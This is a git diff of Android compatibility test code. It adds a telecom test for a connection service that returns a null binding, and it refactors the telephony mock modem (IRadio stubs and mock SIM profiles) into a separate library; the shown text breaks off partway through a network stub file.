diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 96a07b3..1b1d48e 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -79,6 +79,14 @@
             </intent-filter>
         </service>
 
+        <service android:name="android.telecom.cts.NullBindingConnectionService"
+                 android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.telecom.ConnectionService"/>
+            </intent-filter>
+        </service>
+
         <service android:name="android.telecom.cts.MockInCallService"
              android:permission="android.permission.BIND_INCALL_SERVICE"
              android:exported="true">
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
new file mode 100644
index 0000000..1debb7a
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * A minimal {@link Service} implementation intended to test cases where a {@link ConnectionService}
+ * tries to return a null binding.
+ */
+public class NullBindingConnectionService extends Service {
+    public static CountDownLatch sBindLatch = new CountDownLatch(1);
+    public static CountDownLatch sUnbindLatch = new CountDownLatch(1);
+
+    public NullBindingConnectionService() {
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        sBindLatch.countDown();
+        sUnbindLatch = new CountDownLatch(1);
+        return null;
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        sUnbindLatch.countDown();
+        sBindLatch = new CountDownLatch(1);
+        return false;
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
new file mode 100644
index 0000000..611eeab
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.content.ComponentName;
+import android.net.Uri;
+import android.os.Bundle;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+/**
+ * CTS tests to ensure that a ConnectionService which returns a null binding will be automatically
+ * unbound.
+ */
+
+public class NullBindingTest extends BaseTelecomTestWithMockServices {
+    private static final PhoneAccountHandle TEST_NULL_BINDING_HANDLE =
+            new PhoneAccountHandle(new ComponentName("android.telecom.cts",
+                    "android.telecom.cts.NullBindingConnectionService"),
+                    "1");
+
+    public static final PhoneAccount TEST_NULL_BINDING_ACCOUNT = PhoneAccount.builder(
+                    TEST_NULL_BINDING_HANDLE, "Null")
+            .setAddress(Uri.parse("sip:test@test.com"))
+            .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+            .build();
+
+    private static final Uri TEST_ADDRESS_1 = Uri.fromParts("sip", "call1@test.com", null);
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getContext();
+        if (mShouldTestTelecom) {
+            mTelecomManager.registerPhoneAccount(TEST_NULL_BINDING_ACCOUNT);
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        if (mShouldTestTelecom) {
+            mTelecomManager.unregisterPhoneAccount(TEST_NULL_BINDING_HANDLE);
+        }
+    }
+
+    /**
+     * Ensures that when we bind to a ConnectionService which returns a null binding that the
+     * ConnectionService is unbound automatically.
+     */
+    public void testNullBinding() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Place a call using the null binding connection service.
+        Bundle extras = new Bundle();
+        extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, TEST_NULL_BINDING_HANDLE);
+        mTelecomManager.placeCall(TEST_ADDRESS_1, extras);
+
+        // Ensure it bound and then unbound.
+        assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sBindLatch));
+        assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sUnbindLatch));
+
+        // Ensure there is no call present in Telecom
+        assertFalse(mTelecomManager.isInCall());
+    }
+}
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index 973be3f..5459267 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -56,13 +56,7 @@
         "hamcrest-library",
         "compatibility-device-util-axt",
         "truth-prebuilt",
-        "android.hardware.radio.config-V1-java",
-        "android.hardware.radio.modem-V1-java",
-        "android.hardware.radio.sim-V1-java",
-        "android.hardware.radio.network-V1-java",
-        "android.hardware.radio.data-V1-java",
-        "android.hardware.radio.messaging-V1-java",
-        "android.hardware.radio.voice-V1-java",
+        "android.telephony.mockmodem",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index 8befd97..f027c29 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -162,21 +162,6 @@
             </intent-filter>
         </service>
 
-        <service android:name="android.telephony.cts.MockModemService"
-             android:directBootAware="true"
-             android:persistent="true"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.telephony.cts.iradioconfig"/>
-                <action android:name="android.telephony.cts.iradiomodem"/>
-                <action android:name="android.telephony.cts.iradiosim"/>
-                <action android:name="android.telephony.cts.iradionetwork"/>
-                <action android:name="android.telephony.cts.iradiodata"/>
-                <action android:name="android.telephony.cts.iradiomessaging"/>
-                <action android:name="android.telephony.cts.iradiovoice"/>
-            </intent-filter>
-        </service>
-
         <service
             android:name="android.telephony.cts.FakeCarrierMessagingService"
             android:permission="android.permission.BIND_CARRIER_SERVICES"
diff --git a/tests/tests/telephony/current/mockmodem/Android.bp b/tests/tests/telephony/current/mockmodem/Android.bp
new file mode 100644
index 0000000..0e2a29a
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "android.telephony.mockmodem",
+    srcs: [
+        "src/**/*.java",
+        ":cts-telephony-utils",
+    ],
+    libs: [
+        "android-support-annotations",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "android.hardware.radio.config-V1-java",
+        "android.hardware.radio.modem-V1-java",
+        "android.hardware.radio.sim-V1-java",
+        "android.hardware.radio.network-V1-java",
+        "android.hardware.radio.data-V1-java",
+        "android.hardware.radio.messaging-V1-java",
+        "android.hardware.radio.voice-V1-java",
+    ],
+
+    min_sdk_version: "30",
+    platform_apis: true,
+}
diff --git a/tests/tests/telephony/current/mockmodem/AndroidManifest.xml b/tests/tests/telephony/current/mockmodem/AndroidManifest.xml
new file mode 100644
index 0000000..671794d
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.telephony.mockmodem">
+
+    <!-- Must be debuggable for compat shell commands to work on user builds -->
+    <application android:debuggable="true">
+        <service android:name="android.telephony.mockmodem.MockModemService"
+             android:directBootAware="true"
+             android:persistent="true"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.telephony.mockmodem.iradioconfig"/>
+                <action android:name="android.telephony.mockmodem.iradiomodem"/>
+                <action android:name="android.telephony.mockmodem.iradiosim"/>
+                <action android:name="android.telephony.mockmodem.iradionetwork"/>
+                <action android:name="android.telephony.mockmodem.iradiodata"/>
+                <action android:name="android.telephony.mockmodem.iradiomessaging"/>
+                <action android:name="android.telephony.mockmodem.iradiovoice"/>
+            </intent-filter>
+        </service>
+    </application>
+</manifest>
diff --git a/tests/tests/telephony/current/assets/mock_sim_tw_cht.xml b/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_cht.xml
similarity index 70%
rename from tests/tests/telephony/current/assets/mock_sim_tw_cht.xml
rename to tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_cht.xml
index aaabe62..426185a 100644
--- a/tests/tests/telephony/current/assets/mock_sim_tw_cht.xml
+++ b/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_cht.xml
@@ -1,4 +1,4 @@
-<MockSim numofapp="2" iccid="89886920042507847155">
+<MockSim numofapp="2" atr="3B9F96801FC78031E073FE2111634082918307900099">
 <MockSimProfile id="0" type="APPTYPE_USIM">
     <PinProfile appstate="APPSTATE_READY">
         <Pin1State>PINSTATE_DISABLED</Pin1State>
@@ -15,7 +15,9 @@
     </MF>
 
     <ADF aid="A0000000871002F886FF9289050B00FE">
-        <EF name="EF_IMSI" id="6F07">311740123456789</EF>
+        <EF name="EF_IMSI" id="6F07" command="" mnc-digit="2">466920123456789</EF>
+        <EF name="EF_ICCID" id="2FE2" command="0xb0">89886920042507847155</EF>
+        <EF name="EF_ICCID" id="2FE2" command="0xc0">0000000A2FE2040000FFFF01020002</EF>
     </ADF>
 </MockSimProfile>
 
diff --git a/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_fet.xml b/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_fet.xml
new file mode 100644
index 0000000..4463d88
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/assets/mock_sim_tw_fet.xml
@@ -0,0 +1,23 @@
+<MockSim numofapp="1" atr="3B9E95801FC78031E073FE211B66D001A0E50F0048">
+<MockSimProfile id="0" type="APPTYPE_USIM">
+    <PinProfile appstate="APPSTATE_READY">
+        <Pin1State>PINSTATE_DISABLED</Pin1State>
+        <Pin2State>PINSTATE_ENABLED_NOT_VERIFIED</Pin2State>
+    </PinProfile>
+
+    <FacilityLock>
+        <FD>LOCK_DISABLED</FD>
+        <SC>LOCK_DISABLED</SC>
+    </FacilityLock>
+
+    <MF name="MF" path="3F00">
+        <EFDIR name="ADF1" curr_active="true">A0000000871002FF33FFFF8901010100</EFDIR>
+    </MF>
+
+    <ADF aid="A0000000871002FF33FFFF8901010100">
+        <EF name="EF_IMSI" id="6F07" command="" mnc-digit="2">466011122334455</EF>
+        <EF name="EF_ICCID" id="2FE2" command="0xb0">89886021157300856597</EF>
+        <EF name="EF_ICCID" id="2FE2" command="0xc0">0000000A2FE2040000FFFF01020002</EF>
+    </ADF>
+</MockSimProfile>
+</MockSim>
\ No newline at end of file
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioConfigImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioConfigImpl.java
similarity index 97%
rename from tests/tests/telephony/current/src/android/telephony/cts/IRadioConfigImpl.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioConfigImpl.java
index 86a2c8f7..1eae358e 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioConfigImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioConfigImpl.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.telephony.cts;
+package android.telephony.mockmodem;
 
 import android.hardware.radio.RadioError;
 import android.hardware.radio.RadioIndicationType;
@@ -265,4 +265,14 @@
             Log.e(TAG, "null mRadioConfigIndication");
         }
     }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioConfig.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioConfig.VERSION;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioDataImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioDataImpl.java
similarity index 89%
rename from tests/tests/telephony/current/src/android/telephony/cts/IRadioDataImpl.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioDataImpl.java
index e9fff8e..86f1501 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioDataImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioDataImpl.java
@@ -14,9 +14,10 @@
  * limitations under the License.
  */
 
-package android.telephony.cts;
+package android.telephony.mockmodem;
 
 import android.hardware.radio.RadioError;
+import android.hardware.radio.RadioIndicationType;
 import android.hardware.radio.RadioResponseInfo;
 import android.hardware.radio.data.DataProfileInfo;
 import android.hardware.radio.data.IRadioData;
@@ -49,6 +50,8 @@
         mRadioDataResponse = radioDataResponse;
         mRadioDataIndication = radioDataIndication;
         mService.countDownLatch(MockModemService.LATCH_RADIO_INTERFACES_READY);
+
+        unsolEmptyDataCallList();
     }
 
     @Override
@@ -222,4 +225,31 @@
             Log.e(TAG, "Failed to stopKeepalive from AIDL. Exception" + ex);
         }
     }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioData.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioData.VERSION;
+    }
+
+    public void unsolEmptyDataCallList() {
+        Log.d(TAG, "unsolEmptyDataCallList");
+
+        if (mRadioDataIndication != null) {
+            android.hardware.radio.data.SetupDataCallResult[] dcList =
+                    new android.hardware.radio.data.SetupDataCallResult[0];
+
+            try {
+                mRadioDataIndication.dataCallListChanged(RadioIndicationType.UNSOLICITED, dcList);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to invoke dataCallListChanged change from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioDataIndication");
+        }
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioMessagingImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
similarity index 84%
rename from tests/tests/telephony/current/src/android/telephony/cts/IRadioMessagingImpl.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
index 21c7f2243..87a5235 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioMessagingImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioMessagingImpl.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.telephony.cts;
+package android.telephony.mockmodem;
 
 import android.hardware.radio.RadioError;
 import android.hardware.radio.RadioIndicationType;
@@ -23,14 +23,22 @@
 import android.hardware.radio.messaging.IRadioMessagingIndication;
 import android.hardware.radio.messaging.IRadioMessagingResponse;
 import android.os.RemoteException;
+import android.support.annotation.GuardedBy;
+import android.util.ArraySet;
 import android.util.Log;
 
+import java.util.Set;
+
 public class IRadioMessagingImpl extends IRadioMessaging.Stub {
     private static final String TAG = "MRMSG";
 
     private final MockModemService mService;
     private IRadioMessagingResponse mRadioMessagingResponse;
     private IRadioMessagingIndication mRadioMessagingIndication;
+    @GuardedBy("mGsmBroadcastConfigSet")
+    private final Set<Integer> mGsmBroadcastConfigSet = new ArraySet<Integer>();
+    @GuardedBy("mCdmaBroadcastConfigSet")
+    private final Set<Integer> mCdmaBroadcastConfigSet = new ArraySet<Integer>();
 
     public IRadioMessagingImpl(MockModemService service) {
         Log.d(TAG, "Instantiated");
@@ -244,7 +252,20 @@
             int serial, android.hardware.radio.messaging.CdmaBroadcastSmsConfigInfo[] configInfo) {
         Log.d(TAG, "setCdmaBroadcastConfig");
 
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        int error = RadioError.NONE;
+        if (configInfo == null || configInfo.length == 0) {
+            error = RadioError.INVALID_ARGUMENTS;
+        } else {
+            synchronized (mCdmaBroadcastConfigSet) {
+                mCdmaBroadcastConfigSet.clear();
+                for (int i = 0; i < configInfo.length; i++) {
+                    Log.d(TAG, "configInfo serviceCategory"
+                            + configInfo[i].serviceCategory);
+                    mCdmaBroadcastConfigSet.add(configInfo[i].serviceCategory);
+                }
+            }
+        }
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, error);
         try {
             mRadioMessagingResponse.setCdmaBroadcastConfigResponse(rsp);
         } catch (RemoteException ex) {
@@ -269,7 +290,27 @@
             int serial, android.hardware.radio.messaging.GsmBroadcastSmsConfigInfo[] configInfo) {
         Log.d(TAG, "setGsmBroadcastConfig");
 
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        int error = RadioError.NONE;
+        if (configInfo == null || configInfo.length == 0) {
+            error = RadioError.INVALID_ARGUMENTS;
+        } else {
+            synchronized (mGsmBroadcastConfigSet) {
+                mGsmBroadcastConfigSet.clear();
+                for (int i = 0; i < configInfo.length; i++) {
+                    int startId = configInfo[i].fromServiceId;
+                    int endId = configInfo[i].toServiceId;
+                    boolean selected  = configInfo[i].selected;
+                    Log.d(TAG, "configInfo from: " + startId + ", to: " + endId
+                            + ", selected: " + selected);
+                    if (selected) {
+                        for (int j = startId; j <= endId; j++) {
+                            mGsmBroadcastConfigSet.add(j);
+                        }
+                    }
+                }
+            }
+        }
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, error);
         try {
             mRadioMessagingResponse.setGsmBroadcastConfigResponse(rsp);
         } catch (RemoteException ex) {
@@ -415,4 +456,28 @@
             Log.e(TAG, "null mRadioMessagingIndication");
         }
     }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioMessaging.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioMessaging.VERSION;
+    }
+
+    public Set<Integer> getGsmBroadcastConfigSet() {
+        synchronized (mGsmBroadcastConfigSet) {
+            Log.d(TAG, "getBroadcastConfigSet. " + mGsmBroadcastConfigSet);
+            return mGsmBroadcastConfigSet;
+        }
+    }
+
+    public Set<Integer> getCdmaBroadcastConfigSet() {
+        synchronized (mCdmaBroadcastConfigSet) {
+            Log.d(TAG, "getBroadcastConfigSet. " + mCdmaBroadcastConfigSet);
+            return mCdmaBroadcastConfigSet;
+        }
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioModemImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioModemImpl.java
similarity index 98%
rename from tests/tests/telephony/current/src/android/telephony/cts/IRadioModemImpl.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioModemImpl.java
index 4cca64b..dbdda3c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioModemImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioModemImpl.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.telephony.cts;
+package android.telephony.mockmodem;
 
 import static com.android.internal.telephony.RILConstants.RIL_REQUEST_RADIO_POWER;
 
@@ -472,4 +472,14 @@
                 break;
         }
     }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioModem.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioModem.VERSION;
+    }
 }
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioNetworkImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioNetworkImpl.java
new file mode 100644
index 0000000..9b64082
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioNetworkImpl.java
@@ -0,0 +1,821 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.hardware.radio.RadioError;
+import android.hardware.radio.RadioIndicationType;
+import android.hardware.radio.RadioResponseInfo;
+import android.hardware.radio.network.IRadioNetwork;
+import android.hardware.radio.network.IRadioNetworkIndication;
+import android.hardware.radio.network.IRadioNetworkResponse;
+import android.hardware.radio.network.NetworkScanRequest;
+import android.hardware.radio.network.RadioAccessSpecifier;
+import android.hardware.radio.network.RegState;
+import android.hardware.radio.network.SignalThresholdInfo;
+import android.hardware.radio.sim.CardStatus;
+import android.os.AsyncResult;
+import android.os.Handler;
+import android.os.Message;
+import android.os.RemoteException;
+import android.util.Log;
+
+public class IRadioNetworkImpl extends IRadioNetwork.Stub {
+    private static final String TAG = "MRNW";
+
+    private final MockModemService mService;
+    private IRadioNetworkResponse mRadioNetworkResponse;
+    private IRadioNetworkIndication mRadioNetworkIndication;
+    private static MockModemConfigInterface[] sMockModemConfigInterfaces;
+    private Object mCacheUpdateMutex;
+    private final Handler mHandler;
+    private int mSubId;
+
+    // ***** Events
+    static final int EVENT_RADIO_STATE_CHANGED = 1;
+    static final int EVENT_SIM_STATUS_CHANGED = 2;
+    static final int EVENT_PREFERRED_MODE_CHANGED = 3;
+
+    // ***** Cache of modem attributes/status
+    private int mNetworkTypeBitmap;
+    private int mReasonForDenial;
+    private boolean mNetworkSelectionMode;
+
+    private int mRadioState;
+    private boolean mSimReady;
+
+    private MockNetworkService mServiceState;
+
+    public IRadioNetworkImpl(
+            MockModemService service, MockModemConfigInterface[] interfaces, int instanceId) {
+        Log.d(TAG, "Instantiated");
+
+        this.mService = service;
+        sMockModemConfigInterfaces = interfaces;
+        mCacheUpdateMutex = new Object();
+        mHandler = new IRadioNetworkHandler();
+        mSubId = instanceId;
+        mServiceState = new MockNetworkService();
+
+        // Default network type GPRS|EDGE|UMTS|HSDPA|HSUPA|HSPA|LTE|HSPA+|GSM|LTE_CA|NR
+        mNetworkTypeBitmap =
+                MockNetworkService.GSM
+                        | MockNetworkService.WCDMA
+                        | MockNetworkService.LTE
+                        | MockNetworkService.NR;
+        mServiceState.updateHighestRegisteredRat(mNetworkTypeBitmap);
+
+        sMockModemConfigInterfaces[mSubId].registerForRadioStateChanged(
+                mHandler, EVENT_RADIO_STATE_CHANGED, null);
+        sMockModemConfigInterfaces[mSubId].registerForCardStatusChanged(
+                mHandler, EVENT_SIM_STATUS_CHANGED, null);
+    }
+
+    /** Handler class to handle callbacks */
+    private final class IRadioNetworkHandler extends Handler {
+        @Override
+        public void handleMessage(Message msg) {
+            AsyncResult ar;
+            synchronized (mCacheUpdateMutex) {
+                switch (msg.what) {
+                    case EVENT_SIM_STATUS_CHANGED:
+                        Log.d(TAG, "Received EVENT_SIM_STATUS_CHANGED");
+                        boolean oldSimReady = mSimReady;
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            mSimReady = updateSimReady(ar);
+                            if (oldSimReady != mSimReady) {
+                                updateNetworkStatus();
+                            }
+                        } else {
+                            Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+                        }
+                        break;
+
+                    case EVENT_RADIO_STATE_CHANGED:
+                        Log.d(TAG, "Received EVENT_RADIO_STATE_CHANGED");
+                        int oldRadioState = mRadioState;
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            mRadioState = (int) ar.result;
+                            Log.i(TAG, "Radio state: " + mRadioState);
+                            if (oldRadioState != mRadioState) {
+                                updateNetworkStatus();
+                            }
+                        } else {
+                            Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+                        }
+                        break;
+
+                    case EVENT_PREFERRED_MODE_CHANGED:
+                        Log.d(TAG, "Received EVENT_PREFERRED_MODE_CHANGED");
+                        mServiceState.updateNetworkStatus(
+                                MockNetworkService.NETWORK_UPDATE_PREFERRED_MODE_CHANGE);
+                        updateNetworkStatus();
+                        break;
+                }
+            }
+        }
+    }
+
+    // Implementation of IRadioNetwork utility functions
+
+    private void notifyServiceStateChange() {
+        Log.d(TAG, "notifyServiceStateChange");
+
+        Handler handler = sMockModemConfigInterfaces[mSubId].getMockModemConfigHandler();
+        Message msg =
+                handler.obtainMessage(
+                        MockModemConfigBase.EVENT_SERVICE_STATE_CHANGE, mServiceState);
+        handler.sendMessage(msg);
+    }
+
+    private void updateNetworkStatus() {
+
+        if (mRadioState != MockModemConfigInterface.RADIO_STATE_ON) {
+            // Update to OOS state
+            mServiceState.updateServiceState(RegState.NOT_REG_MT_NOT_SEARCHING_OP);
+        } else if (!mSimReady) {
+            // Update to Searching state
+            mServiceState.updateServiceState(RegState.NOT_REG_MT_SEARCHING_OP);
+        } else if (mServiceState.isHomeCellExisted() && mServiceState.getIsHomeCamping()) {
+            // Update to Home state
+            mServiceState.updateServiceState(RegState.REG_HOME);
+        } else if (mServiceState.isRoamingCellExisted() && mServiceState.getIsRoamingCamping()) {
+            // Update to Roaming state
+            mServiceState.updateServiceState(RegState.REG_ROAMING);
+        } else {
+            // Update to Searching state
+            mServiceState.updateServiceState(RegState.NOT_REG_MT_SEARCHING_OP);
+        }
+
+        unsolNetworkStateChanged();
+        unsolCurrentSignalStrength();
+        unsolCellInfoList();
+    }
+
+    private boolean updateSimReady(AsyncResult ar) {
+        String simPlmn = "";
+        CardStatus cardStatus = new CardStatus();
+        cardStatus = (CardStatus) ar.result;
+
+        if (cardStatus.cardState != CardStatus.STATE_PRESENT) {
+            return false;
+        }
+
+        int numApplications = cardStatus.applications.length;
+        if (numApplications < 1) {
+            return false;
+        }
+
+        for (int i = 0; i < numApplications; i++) {
+            android.hardware.radio.sim.AppStatus rilAppStatus = cardStatus.applications[i];
+            if (rilAppStatus.appState == android.hardware.radio.sim.AppStatus.APP_STATE_READY) {
+                Log.i(TAG, "SIM is ready");
+                simPlmn = "46692"; // TODO: Get SIM PLMN, maybe decode from IMSI
+                mServiceState.updateSimPlmn(simPlmn);
+                return true;
+            }
+        }
+
+        mServiceState.updateSimPlmn(simPlmn);
+        return false;
+    }
+
+    public boolean changeNetworkService(int carrierId, boolean registration) {
+        Log.d(TAG, "changeNetworkService: carrier id(" + carrierId + "): " + registration);
+
+        synchronized (mCacheUpdateMutex) {
+            // TODO: compare carrierId and sim to decide home or roming
+            mServiceState.setServiceStatus(false, registration);
+            updateNetworkStatus();
+        }
+
+        return true;
+    }
+
+    // Implementation of IRadioNetwork functions
+    @Override
+    public void getAllowedNetworkTypesBitmap(int serial) {
+        Log.d(TAG, "getAllowedNetworkTypesBitmap");
+        int networkTypeBitmap = mNetworkTypeBitmap;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getAllowedNetworkTypesBitmapResponse(rsp, networkTypeBitmap);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getAllowedNetworkTypesBitmap from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getAvailableBandModes(int serial) {
+        Log.d(TAG, "getAvailableBandModes");
+
+        int[] bandModes = new int[0];
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getAvailableBandModesResponse(rsp, bandModes);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getAvailableBandModes from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getAvailableNetworks(int serial) {
+        Log.d(TAG, "getAvailableNetworks");
+
+        android.hardware.radio.network.OperatorInfo[] networkInfos =
+                new android.hardware.radio.network.OperatorInfo[0];
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioNetworkResponse.getAvailableNetworksResponse(rsp, networkInfos);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getAvailableNetworks from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getBarringInfo(int serial) {
+        Log.d(TAG, "getBarringInfo");
+
+        android.hardware.radio.network.CellIdentity cellIdentity =
+                new android.hardware.radio.network.CellIdentity();
